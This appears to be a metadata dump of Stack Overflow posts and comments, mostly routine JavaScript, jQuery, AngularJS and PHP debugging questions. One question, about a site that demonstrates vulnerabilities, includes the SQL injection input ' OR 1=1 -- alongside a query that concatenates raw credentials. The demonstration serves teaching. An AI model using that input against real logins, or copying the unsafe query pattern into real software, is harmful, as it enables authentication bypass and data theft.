tagged with: javascript
answer count: 1
downvote count: 0
has answer: http://stackoverflow.com/a/25619624
score: 1
favorite count: 0
accepted answer: http://stackoverflow.com/a/25619624
tagged with: http://stackoverflow.com/tag/html
tagged with: audio
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/39989676

http://stackoverflow.com/q/25633324
has title: Jquery mobile preventing $(window).scroll event from firing
has comment: http://stackoverflow.com/comment/40051854
tagged with: jquery-mobile
linked to: http://stackoverflow.com/q/19375636
downvote count: 0
tagged with: javascript
has comment: http://stackoverflow.com/comment/40052043
tagged with: jquery
has comment: http://stackoverflow.com/comment/40052557
linked to: http://stackoverflow.com/q/5686629
tagged with: http://stackoverflow.com/tag/html
answer count: 1
favorite count: 0
type: UnansweredQuestion
has body: I am new, please be gentle. I've reviewed these posts on using the jquery .scroll() event, but haven't had luck implementing a working fix. http://stackoverflow.com/questions/5686629/jquery-window-scroll-event-does-not-fire-up http://stackoverflow.com/questions/19375636/jquery-onscroll-not-firing-the-event-while-scrolling I am working on a site that uses Jquery Mobile. I've included a small script to produce a parallax effect on background images when the user vertically scrolls the page. It is written as such: $(window).on('scroll', function(){ $('.slider').each(function(r){ var pos = $(this).offset().top; var scrolled = $(window).scrollTop(); $('.slider').css('background-position-y', -(scrolled * 0.3) + 'px'); }); }); This code works wonderfully when I enter it in the console after the page has loaded. It does nothing when loaded as part of my custom script. It is located at the end of my main.js file which is the last .js referenced in my HTML, immediately after the JQM CDN distribution link. ...&lt;/body&gt; &lt;script src="http://code.jquery.com/jquery-1.11.1.min.js"&gt;&lt;/script&gt; &lt;script src='js/buildpage.js'&gt;&lt;/script&gt; &lt;script src="http://code.jquery.com/mobile/1.4.3/jquery.mobile-1.4.3.min.js"&gt;&lt;/script&gt; &lt;script src='js/main.js'&gt;&lt;/script&gt; &lt;/html&gt; I've tried a $(windows).scroll(function(){alert('scroll')}) in lieu of my parallax script, which results in a single alert as the page is resized when JQM initializes and modifies the layout, then nothing further. Re-entering the line in the console after page load results in alerts when the window is scrolled. If I comment out the JQM link, the parallax script works just fine. In summary: Parallax script is dependant on .scroll(). Parallax script is the last line in the last .js referenced in the HTML. Parallax script does not work if loaded inline with the referenced scripts. Parallax script works fine if entered in the dev console after the page has loaded (Chrome). Di…
score: 3
has answer: http://stackoverflow.com/a/25757364
upvote count: 3
has comment: http://stackoverflow.com/comment/40152567
type: Question

http://stackoverflow.com/a/25583612
type: Answer
has comment: http://stackoverflow.com/comment/39960056
has comment: http://stackoverflow.com/comment/39962152
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/39959286
has comment: http://stackoverflow.com/comment/39959859
downvote count: 0
has comment: http://stackoverflow.com/comment/39959661
has comment: http://stackoverflow.com/comment/39959530
has comment: http://stackoverflow.com/comment/39959367
accepted answer of: http://stackoverflow.com/q/25583440
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/39959542
answers question: http://stackoverflow.com/q/25583440
has comment: http://stackoverflow.com/comment/39960301
has body: You should learn sth about js and DOM. First add a onchange event on your select &lt;select onchange="switch_currency(this.value);"&gt; Second add an id on your table &lt;table id="table_price"&gt; Then use js as below &lt;script&gt; var switch_currency = function(currency) { var table = document.getElementById("table_price"); for (var i = 1; i &lt; table.children[0].children.length; i++) { var td = table.children[0].children[i].children[1]; td.innerHTML *= currency; } } &lt;/script&gt;

http://stackoverflow.com/a/25584788
score: 0
type: Answer
has body: Reduce your JavaScript down to minimum required for this, then add in some helpful messages you can look in your console for function upl_kost() { var xhr = new XMLHttpRequest(), url = 'proces_data.php?ref=upload_kost', fd = new FormData(), elm = document.getElementById('file_kost'); // debug &lt;input&gt; if (!elm) console.warn('Element not found'); else if (!(elm instanceof HTMLInputElement)) console.warn('Element not an &lt;input&gt;'); else if (!elm.files || elm.files.length === 0) console.warn('&lt;input&gt; has no files'); else console.info('&lt;input&gt; looks okay'); // end debug &lt;input&gt; fd.append('upload', elm.files[0]); xhr.addEventListener('load', function () { console.log('Response:', this.responseText); }); xhr.open('POST', url); xhr.send(fd); } If you're still having a problem, it may be server-side, e.g. are you performing a redirect before trying to access $_FILES?
has comment: http://stackoverflow.com/comment/39960881
has comment: http://stackoverflow.com/comment/39960781
accepted answer of: http://stackoverflow.com/q/25584580
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/39960880
answers question: http://stackoverflow.com/q/25584580
has comment: http://stackoverflow.com/comment/122391222

http://stackoverflow.com/q/25677547
tagged with: jquery
favorite count: 0
upvote count: 1
has body: I have a draggable div and a droppale div. I get the position of draggable div within the droppable using the following code: $(document).ready(function() { $('.ff').draggable({ appendTo: "#pages", revert: "invalid" }); $('#pages').droppable({ accept: ".ff", drop: function (event, ui) { var x = ui.offset.left - $(this).offset().left; var y = ui.offset.top - $(this).offset().top; } }); }); I need to save these coordinates, but saving the "relative position" I mean, when somebody loads the points (x,y) saved previusly but with a different screen resolution, different device, etc. the points must be in the same position. So, how to get this "relative position"?
type: AnsweredQuestion
tagged with: jquery-ui
score: 1
has title: Get element position based on size using jquery
has answer: http://stackoverflow.com/a/25818869
accepted answer: http://stackoverflow.com/a/25818869
type: Question
answer count: 1
has comment: http://stackoverflow.com/comment/40182149
downvote count: 0
has comment: http://stackoverflow.com/comment/40182093
tagged with: javascript

jsbn
tags question: http://stackoverflow.com/q/25571801
type: Tag
tag name: jsbn

http://stackoverflow.com/q/25598468
type: Question
has comment: http://stackoverflow.com/comment/40387719
has answer: http://stackoverflow.com/a/27531162
linked to: http://stackoverflow.com/q/20041656
has body: I was following Bucky's (the new boston) tutorial on Ajax and got stuck right on the 1st lesson =| Here's my problem: Ajax isn't working. I set some checkpoint alerts on .js and found that "readyState" never hits 4 - I only get 3 alerts: f(process) 1st checkpoint - readyState: 0 f(process) 2nd checkpoint - readyState: 0 f(handleServerResponse) 1st checkpoint - readyState: 1 I'm running on localhost with Xampp, browsers are Chrome and Firefox. Here's the code: index.html: The Chuff Bucket Enter the food you would like to order: foodstore.php: <?php header('Content-Type: text/xml'); echo '<?xml version="1.0" encoding="UTF-8" standalone="yes" ?>'; echo ' '; $food = $_GET['food']; $foodArray = array('tuna', 'bacon', 'beef', 'loaf', 'ham'); if(in_array($food, $foodArray)) echo 'We do have ' . $food . '!'; elseif($food=='') echo 'Enter a food you idiot'; else echo 'Sorry punk we dont sell no ' . $food . '!' echo ' '; ?> foodstore.js: var xmlHttp = createXmlHttpRequestObject() function createXmlHttpRequestObject(){ var xmlHttp; if(window.ActiveXObject){ try{ xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); }catch(e){ xmlHttp = false; } }else{ try{ xmlHttp = new XMLHttpRequest(); }catch(e){ xmlHttp = false; } } if(!xmlHttp) alert("cant create that object hoss!"); else return xmlHttp; } function process(){ alert("1st checkpoint f(process) - readyState: " + xmlHttp.readyState);// if(xmlHttp.readyState==0 || xmlHttp.readyState==4){ alert("2nd checkpoint f(process) - readyState: " + xmlHttp.readyState);// food = encodeURIComponent(document.getElementById("userInput").value); xmlHttp.open("GET", "foodstore.php?food=" + food, true); xmlHttp.onreadystatechange = handleServerResponse(); xmlHttp.send(null); }else{ setTimeout('process()', 1000); } } function handleServerResponse(){ alert("1st checkpoint f(handleServerResponse) - readyState: " + xmlHttp.readyState);// if(xmlHttp.readyState==4){ alert("2nd checkpoint f(handleServerResponse) - readyState: " + xmlHttp.readyState);// if(…
tagged with: javascript
has answer: http://stackoverflow.com/a/31172419
has comment: http://stackoverflow.com/comment/39985949
tagged with: ajax
possible better answer: http://stackoverflow.com/a/27531162
has answer: http://stackoverflow.com/a/26788787
favorite count: 0
accepted answer: http://stackoverflow.com/a/26788787
has answer: http://stackoverflow.com/a/39545768
has comment: http://stackoverflow.com/comment/39985919
answer count: 5
tagged with: php
has comment: http://stackoverflow.com/comment/39985895
has comment: http://stackoverflow.com/comment/39985983
has comment: http://stackoverflow.com/comment/40006920
score: 2
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/39985905
upvote count: 3
has title: AJAX tutorial not working
downvote count: 1
has answer: http://stackoverflow.com/a/25598597

http://stackoverflow.com/a/25582324
type: Answer
score: 0
answers question: http://stackoverflow.com/q/25580473
has body: There is issue with DOM structure. I guess your image automatically uses the size of div tag you use to expand or reduce the size. So i recommend you to try, fix the size of this div. Atul

http://stackoverflow.com/a/25694453
has body: If all you are trying to do is send a number to and multiply it by 2, see this one liner function. I assume you are trying to accomplish more than just the multiplying thing otherwise you probably would have just done a simple function like below... Also, I'm sure you will get lots of comments on it, but you should not be using the mysql_ functions anymore. They are both deprecated and potentially unsafe. You should use mysqli or PDO prepared statements. On your button, you should probably put quotes around the id="yadayada" instead of id=yadayada. jQuery may be a good option for your js to handle functions or what-have-you. How are you? <?php $result_g1 = mysql_query("SELECT * FROM divisions"); while($row = mysql_fetch_array($result_g1, MYSQL_BOTH)) { $div_id = $row[div_id]; $div_name = $row[div_name]; $button_id = "b$div_id"; $function_id = "f$div_id"; ?> <button id="<?php echo $button_id; ?>" onClick="MyRadFunction('<?php echo $div_id; ?>')"> <?php echo $div_name; ?> <?php } ?>
score: 0
has comment: http://stackoverflow.com/comment/40191992
upvote count: 1
type: AcceptedAnswer
downvote count: 1
has comment: http://stackoverflow.com/comment/40167020
accepted answer of: http://stackoverflow.com/q/25694118
answers question: http://stackoverflow.com/q/25694118
type: Answer
has comment: http://stackoverflow.com/comment/40166869
has comment: http://stackoverflow.com/comment/40161572
has comment: http://stackoverflow.com/comment/40167054

http://stackoverflow.com/a/25582097
type: Answer
has comment: http://stackoverflow.com/comment/39956468
has body: &lt;script type="text/javascript"&gt; var item_id; function handle_item(item_id) { var c = $(this).data(item_id); $.ajax({ url: 'handle_input.php', type: 'POST', data:"item_id="+c, success: function (data) { alert(data); } }); } &lt;/script&gt; There is no button_id defined in you function hence the error. Also in handle_input you are fetching item_id
answers question: http://stackoverflow.com/q/25582050
has comment: http://stackoverflow.com/comment/39956542
score: 0
has comment: http://stackoverflow.com/comment/40648698
has comment: http://stackoverflow.com/comment/39956444
has comment: http://stackoverflow.com/comment/39956541

http://stackoverflow.com/q/25568913
score: 0
has title: recieving values from arduino serialport in node.js and arduino serialport
answer count: 1
type: UnansweredQuestion
tagged with: node.js
tagged with: arduino
has body: i wanna get data from rfid tags using arduino and rfid-rc522 reader i can get tags data through arduino serial monitor but i can't receive the correct data with node.js all i get is the same numbers from all the tags (each tag should have it own number ) . what i get from arduino monitor which is correct :https://i.sstatic.net/3ukb7.png and what i get from node.js : https://i.sstatic.net/wCXXN.png my node.js code is : var SerialPort = require("serialport").SerialPort; var serialport = new SerialPort("COM4",{baudrate:9600}); serialport.on('open', function(){ serialport.on('data', function(data ){ console.log(data[0] ); }); });; any help to solve this would be appreciated .
type: Question
has answer: http://stackoverflow.com/a/25595490
tagged with: javascript
tagged with: rfid
tagged with: http://stackoverflow.com/tag/c
has comment: http://stackoverflow.com/comment/39930979

json-rpc
tag name: json-rpc
tags question: http://stackoverflow.com/q/25626724
type: Tag

global
type: Tag
tags question: http://stackoverflow.com/q/25667388
tag name: global

http://stackoverflow.com/comment/40031226
comment on: http://stackoverflow.com/a/25623170
type: AnswerComment
type: Comment
has text: @wasiim_dev You need to add `app.set('views', __dirname + '/views');` near the top of your code if your views are in a subdirectory `views` relative to where your Express code is located. By default Express looks for a path relative to the *current working directory*.
score: 1

rgraph
type: Tag
tag name: rgraph
tags question: http://stackoverflow.com/q/25639925

http://stackoverflow.com/a/25629849
has comment: http://stackoverflow.com/comment/40043666
has comment: http://stackoverflow.com/comment/40043621
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/40043850
has body: You can't really split a number, but you can turn it into a string, use match to match any number with trailing zeros, then map the values back to numbers digit.toString().match(/[1-9]+0+/g).map(Number); FIDDLE
type: Answer
accepted answer of: http://stackoverflow.com/q/25629774
answers question: http://stackoverflow.com/q/25629774
has comment: http://stackoverflow.com/comment/40043873
has comment: http://stackoverflow.com/comment/40043808
has comment: http://stackoverflow.com/comment/40043829
has comment: http://stackoverflow.com/comment/40043544
score: 3
has comment: http://stackoverflow.com/comment/40043630
upvote count: 3

http://stackoverflow.com/comment/39961984
type: AnswerComment
comment on: http://stackoverflow.com/a/25585382
has text: @Bergi Why would you not expect this? And why would the expectation be different for strings? Thanks.
score: 0
type: Comment

http://stackoverflow.com/comment/39909479
type: Comment
has text: i need to execute the second ajax call several times till the first one get the success event, that's why i put the while block
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/25557157

http://stackoverflow.com/a/25579952
answers question: http://stackoverflow.com/q/25579706
type: AcceptedAnswer
score: 0
has comment: http://stackoverflow.com/comment/39952234
type: Answer
has body: Try using CSS keyFrames put an ID animate-area on your div that you want to keep moving and add CSS like this: @keyframes animatedBackground { from { background-position: 0 0; } to { background-position: 100% 0; } } @-webkit-keyframes animatedBackground { from { background-position: 0 0; } to { background-position: 100% 0; } } @-ms-keyframes animatedBackground { from { background-position: 0 0; } to { background-position: 100% 0; } } @-moz-keyframes animatedBackground { from { background-position: 0 0; } to { background-position: 100% 0; } } #animate-area { height: 100%; background-image: url(your url here); background-position: 0px 0px; background-repeat: repeat-x; animation: animatedBackground 140s linear infinite; -ms-animation: animatedBackground 140s linear infinite; -moz-animation: animatedBackground 140s linear infinite; -webkit-animation: animatedBackground 140s linear infinite; } This will move your image from right to left in a loop WORKING Example : http://plnkr.co/edit/MLSlItGZhMIY4szOcPeR?p=preview
has comment: http://stackoverflow.com/comment/39952251
accepted answer of: http://stackoverflow.com/q/25579706

http://stackoverflow.com/comment/40159756
has text: i don't know, but if i had to guess: it might be an artifact of tearing down the page. the spinner was last up, so it might be first down. or maybe a class is changing that hides the spinner, and other browsers freeze the js sooner as the page reloads. you can try logging events or changes via cookie/localStorage and see if you can detect such happenings, but that doesn't mean it's fixable. hmm, maybe do the asctual submit in a setTimeout() just after the spinner is shown...
comment on: http://stackoverflow.com/q/25630959
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25555986
accepted answer: http://stackoverflow.com/a/25556368
tagged with: javascript
has comment: http://stackoverflow.com/comment/39906902
tagged with: jquery
score: 0
answer count: 3
has answer: http://stackoverflow.com/a/25556368
has answer: http://stackoverflow.com/a/25556198
has comment: http://stackoverflow.com/comment/39906922
has title: Disabling html elements on button click event
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/25556098
has body: I am currently using Jquery to manipulate html elements. Currently I am only working with divs, a textarea and two buttons. For this question: I have an admin button id="adminControl" which I would like to fire a clickevent that will disable the textearea, button id="#appendText" and the div class="middle-side". I try doing the previous through keeping a count on button click id="adminControl" but nothing is being disable. I am aware it is possible with input fields but would it be possible with a div? JSFIDDLE Jquery var clickCount = 0; $('#adminControl1').click(function (e) { clickCount ++; if (clickCount == 1){ $( "#button" ).prop( "disabled", true ); $( "#divText" ).prop( "disabled", true ); $( "#adminControl1").value("Enable All"); } else { $( "#button" ).prop( "disabled", false ); $( "#divText" ).prop( "disabled", false ); $( "#adminControl1").value("disable All"); clickCount --; } } HTML Place Inside Here Admin Area
type: Question
has answer: http://stackoverflow.com/a/25556098

http://stackoverflow.com/comment/39967709
has text: Many thanks for the "as" tip in the query that works great. However *Holds Breath* For some reason the dashboard can only find reference to "0" as a dictionary key. Screenshot here: http://tinypic.com/r/29gjs6x/8
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25588502

http://stackoverflow.com/comment/40018790
comment on: http://stackoverflow.com/q/25616541
score: 0
has text: indexOf return numaric value and you are comparing it with string
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/39902598
comment on: http://stackoverflow.com/q/25553651
type: Comment
type: QuestionComment
has text: Just a suggestion: Just free yourself of all the hassle and use underscore or lodash which in this case you simply use the reject function for. lodash.com/docs (such an easy tool for working with objects and collections). Last thing you need in a large application is a 6 line ugly for loop for a remove method
score: 0

http://stackoverflow.com/comment/39993793
type: Comment
comment on: http://stackoverflow.com/q/25602824
score: 0
has text: Can you provide some of your current code? For example your resizing code and your code for detecting collision.
type: QuestionComment

http://stackoverflow.com/a/25612855
type: Answer
score: 0
has body: This one $('select').change(function(){ var size = $(this).val(); $('#textDiv').css('font-size', size+'px'); });
answers question: http://stackoverflow.com/q/25612828

http://stackoverflow.com/comment/40358827
type: Comment
comment on: http://stackoverflow.com/a/25713089
has text: I solved the problem finally after I found the big stupid mistake that I didn't realize the whole time! I added an beforeSave function that init the Like number to 1. So every time the save function called in example. the beforeSave will change the like back to 1.
type: AnswerComment
score: 0

http://stackoverflow.com/comment/39982735
type: Comment
type: QuestionComment
score: 1
comment on: http://stackoverflow.com/q/25596712
has text: One common way to solve the *too many requests* would be to put all sources into one big file and minify that, as part of your build process. But that might not what you want.

http://stackoverflow.com/q/25680078
score: 1
has answer: http://stackoverflow.com/a/32202616
type: Question
has comment: http://stackoverflow.com/comment/40133997
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40134115
upvote count: 1
tagged with: http://stackoverflow.com/tag/html
answer count: 1
has body: Placeholder is not working in below IE10 browsers, meanwhile i wrote following code it is working fine. But problem is in password field it shows dots instead of placeholder text. Please find the attached screen shot. Here is my code, could you please help is there any solution for fixing the password field placeholder visible. //Default text in login page. (function ($) { $.support.placeholder = ('placeholder' in document.createElement('input')); })(jQuery); //fix for IE7 and IE8 $(function () { if (!$.support.placeholder) { $("[placeholder]").focus(function () { if ($(this).val() == $(this).attr("placeholder")) $(this).val(""); }).blur(function () { if ($(this).val() == "") $(this).val($(this).attr("placeholder")); }).blur(); $("[placeholder]").parents("login").submit(function () { $(this).find('[placeholder]').each(function() { if ($(this).val() == $(this).attr("placeholder")) { $(this).val(""); } }); }); } });![enter image description here][1]
tagged with: css
has title: Placeholder is showing like dots insted of placeholder text(Default text)
favorite count: 0
has comment: http://stackoverflow.com/comment/40134220
type: UnansweredQuestion
downvote count: 0

http://stackoverflow.com/q/25636187
tagged with: javascript
has comment: http://stackoverflow.com/comment/40091893
has comment: http://stackoverflow.com/comment/40091963
has comment: http://stackoverflow.com/comment/40054814
score: 0
has comment: http://stackoverflow.com/comment/40055146
has comment: http://stackoverflow.com/comment/40055205
has comment: http://stackoverflow.com/comment/40092520
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40055125
answer count: 0
tagged with: twitter-bootstrap
has body: I am using the collapse property for a series of panels on a website. Instead of just adding text, I am adding an image along with a title and information about what a viewer will see if they click on the panel. I am trying to make this responsive and I noticed when I start shrinking the web browser the info of what the viewer will see is getting thrown under the image. My code looks like this: hello World doing this allows the panels to be responsive to the shrinking of the browser, but when I click to collapse and show the panel body, it is causing a jQuery fadeIn effect saw opposed to automatically showing the content. It's not that it looks terrible, but the fadeIn is slow and I do not like how it is working. Any help would be gratefully received. Thanks.
type: Question
has title: bootstrap panel collapse causing fade in
has comment: http://stackoverflow.com/comment/40092059

http://stackoverflow.com/q/25652790
has answer: http://stackoverflow.com/a/25653003
type: AnsweredQuestion
has title: Video starts when current slide // Superslides
type: Question
tagged with: javascript
tagged with: jquery
score: 0
linked to: http://stackoverflow.com/q/20991815
answer count: 1
has body: So I solved the individual slide delay problem with superslides using the answers found at Individual slide delay // Superslides, but now I'm having trouble with a video I put in. The video is Slide 4, but it starts playing when the slider loads. I'm using YTPlayer for the player. jQuery('#fullscreen , .p-section').superslides({ play: 12000, animation: 'fade', inherit_height_from: window, }); jQuery('#fullscreen').on('animated.slides', function () { var slideNo = jQuery(this).superslides('current'); if(slideNo === 3){ //slide 4 jQuery(this).superslides('stop'); setTimeout(function(){ jQuery('#fullscreen').superslides('start') }, 20000); } }); That is what I have for the slider. How can I get the video to start playing only when the video is the current slide and then transitions to the next slide after it plays. UPDATE: IN CASE SOMEONE WAS LOOKING FOR THIS AS WELL. With the help of @Sunand, here's what I have. jQuery('#fullscreen , .p-section').superslides({ play: 12000, animation: 'fade', inherit_height_from: window, }); jQuery('#fullscreen').on('animated.slides', function () { var slideNo = jQuery(this).superslides('current'); if(slideNo === 3){ //slide 4 jQuery(this).superslides('stop'); jQuery(".mb_YTVPBar .buttonBar").css({"display":"block"}); jQuery(".home-elements").css({"display":"none"}); jQuery("#bgndVideo").playYTP(); jQuery("#bgndVideo").on("YTPEnd",function(){ jQuery('#fullscreen').superslides('start'); jQuery(".mb_YTVPBar .buttonBar").css({"display":"none"}); jQuery(".home-elements").css({"display":"block"}); }); } }); Now I'm still working on if they click next before the video is done, then the video should stop. Will update this when I figure it out.
accepted answer: http://stackoverflow.com/a/25653003

http://stackoverflow.com/comment/40030958
type: Comment
has text: How about `window.ontouchstart !== void 0`?
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25623213

http://stackoverflow.com/q/25581750
has comment: http://stackoverflow.com/comment/39965066
tagged with: javascript
has body: I am trying to obtain a .json file from remote server (parse, firebase, amazon). function fetchData(remoteJsonId){ var url = "https://myAppName.parseapp.com/"+remoteJsonID+"?callback=JSON_CALLBACK"; console.log(url); //This variable expands to the full domain name which is valid and returns success both on wget and the browser $http.jsonp(url).then( function(resp){ }, function(err){ console.log(err.status) // This posts "404" on console. } ); } But If I open url in the browser the json file loads. Even if I wget url the json file loads. But through angular it returns a 404 not found. Why is angulars $http is returning 404 even though the file exists. Any solutions for this?
duplicate of: http://stackoverflow.com/q/25564200
score: 0
has title: Angulars $http.jsonp() is returning 404
tagged with: firebase-hosting
has comment: http://stackoverflow.com/comment/39960672
tagged with: parsing
answer count: 0
tagged with: angularjs
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/25583064
linked to: http://stackoverflow.com/q/25564200
type: Question
has comment: http://stackoverflow.com/comment/39957222

http://stackoverflow.com/q/25555870
tagged with: javascript
has comment: http://stackoverflow.com/comment/39906583
has body: i need to stay on the same page so i'm not using submit button. How can i go to php page and send form values? exempel: Filename: this doesn't work. other options?
score: 0
accepted answer: http://stackoverflow.com/a/25556008
answer count: 3
has comment: http://stackoverflow.com/comment/39906563
has comment: http://stackoverflow.com/comment/39906669
has comment: http://stackoverflow.com/comment/39906523
favorite count: 0
possible better answer: http://stackoverflow.com/a/25562462
has comment: http://stackoverflow.com/comment/39906897
has comment: http://stackoverflow.com/comment/39906562
has answer: http://stackoverflow.com/a/25562462
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/39907382
tagged with: php
has comment: http://stackoverflow.com/comment/39906672
has answer: http://stackoverflow.com/a/25556048
has answer: http://stackoverflow.com/a/25556008
upvote count: 1
downvote count: 1
type: Question
type: AnsweredQuestion
has title: how to send form value with "onClick="window.location.href "

http://stackoverflow.com/comment/40097479
has text: Also can you provide some valid examples of input.
comment on: http://stackoverflow.com/a/25659526
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/q/25642885
answer count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/40126896
has comment: http://stackoverflow.com/comment/40075238
type: UnansweredQuestion
tagged with: three.js
score: 6
upvote count: 6
has comment: http://stackoverflow.com/comment/40066233
has title: Three.js Can fog be applied to area rather than distance from camera?
type: Question
downvote count: 0
tagged with: javascript
has answer: http://stackoverflow.com/a/25671683
has comment: http://stackoverflow.com/comment/40082172
has body: Imagine a scenario where you have a very large THREE.PlaneGeometry simulating the floor, and you have a camera added to the scene at a random position. If I manually adjust the near and far values of the fog I can somehow hide the outside of the plane making the impression that is infinite. So far, so good. The problem is, what if I make my camera fly around the scene to random positions within the plane? If the random point is close enough to the outside of the plane, the fog won't disguise the end of the plane, because the fog is always based of the camera position. So my question is, how can we achieve a fog effect only when you're close enough to the limits of the plane?
has comment: http://stackoverflow.com/comment/40077307

http://stackoverflow.com/comment/40013541
comment on: http://stackoverflow.com/q/25610999
has text: FYI: The FB Feed dialog is deprecated, in the future you will only be able to use the Share dialog instead – and that does not accept those dynamic parameters any more either, but also fetches all the info from the OG meta info of the shared URL.
type: Comment
type: QuestionComment
score: 1

http://stackoverflow.com/q/25574008
downvote count: 0
answer count: 1
tagged with: javascript
favorite count: 0
tagged with: angularjs
has comment: http://stackoverflow.com/comment/39941182
type: AnsweredQuestion
has body: I have a abstract root state called 'site' with empty url i.e. '' , which has two child state 'profile' and 'home' where the url for home is '/' and the url for profile is '/{username:[a-zA-Z0-9]{3,20}}' inorder to test I tried many times to go to the profile state but it always reaches the home state. But when i change the home state url with say '/home' then i'm able to go to the profile state. After searching the web i couldn't find this issue. Is it a bug? or i'm doing something wrong? Here is the code for $stateProvider $stateProvider. state('site', { url: '', abstract: true, views: { '': { templateUrl: 'views/site.html' //this is the base template }, 'navbar@site': { templateUrl:'views/navbar.html' } }, data:{ access: access.public } }). state('site.home', { url: '/', templateProvider :['$rootScope','$http','$state',function($rootScope,$http,$state){ //console.log($state); var template = 'views/main_new.html'; if($rootScope.User.isLoggedIn()){ template = 'views/new_room_me.html' } return $http.get(template).then(function (resp) { return resp.data; }); }] }). state('site.profile',{ url:'/{username:[a-z0-9A-Z]{3,20},strict:true}', templateUrl:'views/new_room_friend.html' }); $urlRouterProvider.otherwise('/ankit');
tagged with: angular-ui-router
has title: '/' is not letting the state to pass to '/{username:[a-zA-Z0-9]{3,20}}' in AngularJs UI-router
score: 1
has answer: http://stackoverflow.com/a/25579008
accepted answer: http://stackoverflow.com/a/25579008
type: Question
upvote count: 1

http://stackoverflow.com/q/25581560
tagged with: javascript
possible better answer: http://stackoverflow.com/a/27941893
favorite count: 0
upvote count: 9
tagged with: angularjs
has answer: http://stackoverflow.com/a/27941893
has answer: http://stackoverflow.com/a/25583090
accepted answer: http://stackoverflow.com/a/25583090
has title: Dynamic Syntax Highlighting with AngularJS and Highlight.js
type: AnsweredQuestion
downvote count: 0
tagged with: syntax-highlighting
score: 9
type: Question
has body: I am building a site that illustrates common application vulnerabilities such as SQL Injection. I am using AngularJS and highlight.js to create interactive examples. How can I make both AngularJS and highlight.js update my code snippets? Example This Fiddle demonstrates how entering ' OR 1=1 -- in the Email field could change the intended behavior of the query if the user's input is not validated or sanitized. SELECT * FROM dbo.Users WHERE Email='{{email}}' AND Password='{{password}}' When a user enters an email address and password, Angular updates the query. However, syntax highlighting does not update. SELECT * FROM dbo.Users WHERE Email='user@domain.com' AND Password='' I tried re-initializing hljs, but when I do angular stops updating the query. hljs.initHighlighting.called = false; hljs.initHighlighting(); Application Email Password
answer count: 2

http://stackoverflow.com/q/25697553
has comment: http://stackoverflow.com/comment/40166545
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40166445
has comment: http://stackoverflow.com/comment/40167099
tagged with: php
answer count: 0
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40166916
has comment: http://stackoverflow.com/comment/40166499
has title: PHP does not fetch jquery generated input text fields
has comment: http://stackoverflow.com/comment/40166908
has body: I have below form written in HTML / CSS Description Quantitiy CBM Weight (Kg) Whenever user clicks on 'add-more-item' button, it keeps adding set of div rows same as above using below jquery. $(document).ready(function() { var div_row = " "; div_row += " "; div_row += " "; div_row += " Description "; div_row += " "; div_row += " "; div_row += " "; div_row += " "; div_row += " "; div_row += " Quantitiy "; div_row += " "; div_row += " "; div_row += " "; div_row += " "; div_row += " "; div_row += " CBM "; div_row += " "; div_row += " "; div_row += " "; div_row += " "; div_row += " "; div_row += " Weight (Kg) "; div_row += " "; div_row += " "; div_row += " "; div_row += " "; $("#remove-more-item").click(function() { $('#res:last').remove(); }); $("#add-more-item").click(function() { $("#res").append(div_row); }); }); I don't have any issue with generating new rows when clicks on the button. My problem is PHP script does not fetch the data from the jquery generated fields but it does fetch from the static input. Here is my php script:- //cargo info //$item_HBL = array(); $item_desc = array(); $item_qty = array(); $item_cbm = array(); $item_weight = array(); $item_HBL= $_POST['item-HBL']; $item_desc = $_POST['item-desc']; $item_qty = $_POST['item-qty']; $item_cbm = $_POST['item-cbm']; $item_weight = $_POST['item-weight']; $port = $_POST['port']; here is the result of print_r($_post) Array ( [senderName] => [senderAddress] => [senderID] => [senderPhone] => [senderEmail] => [consigneeName] => [consigneeAddress] => [consigneeID] => [consigneePhone] => [consigneeEmail] => [item-HBL] => 1123 [item-desc] => Array ( [0] => Package One ) [item-qty] => Array ( [0] => 2 ) [item-cbm] => Array ( [0] => 1.200 ) [item-weight] => Array ( [0] => 3 ) [port] => Wattala ) Pls advice me on how to fix this issue. Thanks.
has comment: http://stackoverflow.com/comment/40166725
type: Question
score: 0
has comment: http://stackoverflow.com/comment/40166946
has comment: http://stackoverflow.com/comment/40166586
has comment: http://stackoverflow.com/comment/40166462
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40166924
has comment: http://stackoverflow.com/comment/40166849

http://stackoverflow.com/q/25570454
tagged with: javascript
score: 4
has comment: http://stackoverflow.com/comment/40045707
has body: I'm transitioning from eclipse to intellij and like some (http://devnet.jetbrains.com/thread/452846), I'd like to have a variable comparable to eclipse's ${project_loc}. Seeing some of the responses out there I learned that I can use environment variables, but this isn't quite what I want. I'd really like intellij to be able to determine which module has focus, then run using that module's base directory as the runtime path. I have a group of modules that I want to run the same run configuration on at different times. I don't want to have to define separate run configurations for each individual module. This is how I did it in eclipse, so I'm inclined to want to do it the same way. If perhaps there's a different way to accomplish the same goal, I'm all for it. Here's our use case: We have a number of jars that each include javascript files. As part of the build process these javascript files are pulled out of the jar and aggregated together in an all.js file. During development we want to be able to update this all.js file on the fly while the server is running. Due to the aggregation step we can't use built-in hotswapping-like functionality to update client resources. For this we have created a run configuration, that when run will aggregate the js and copy it onto the local app server. This run configuration for eclipse is currently used to do this for multiple projects and is also shared between many developers. Again, the main desire is a generic variable that is agnostic to both the project/module as well as the base path to that module. Any suggestions?
downvote count: 1
answer count: 1
has comment: http://stackoverflow.com/comment/39934506
favorite count: 0
upvote count: 5
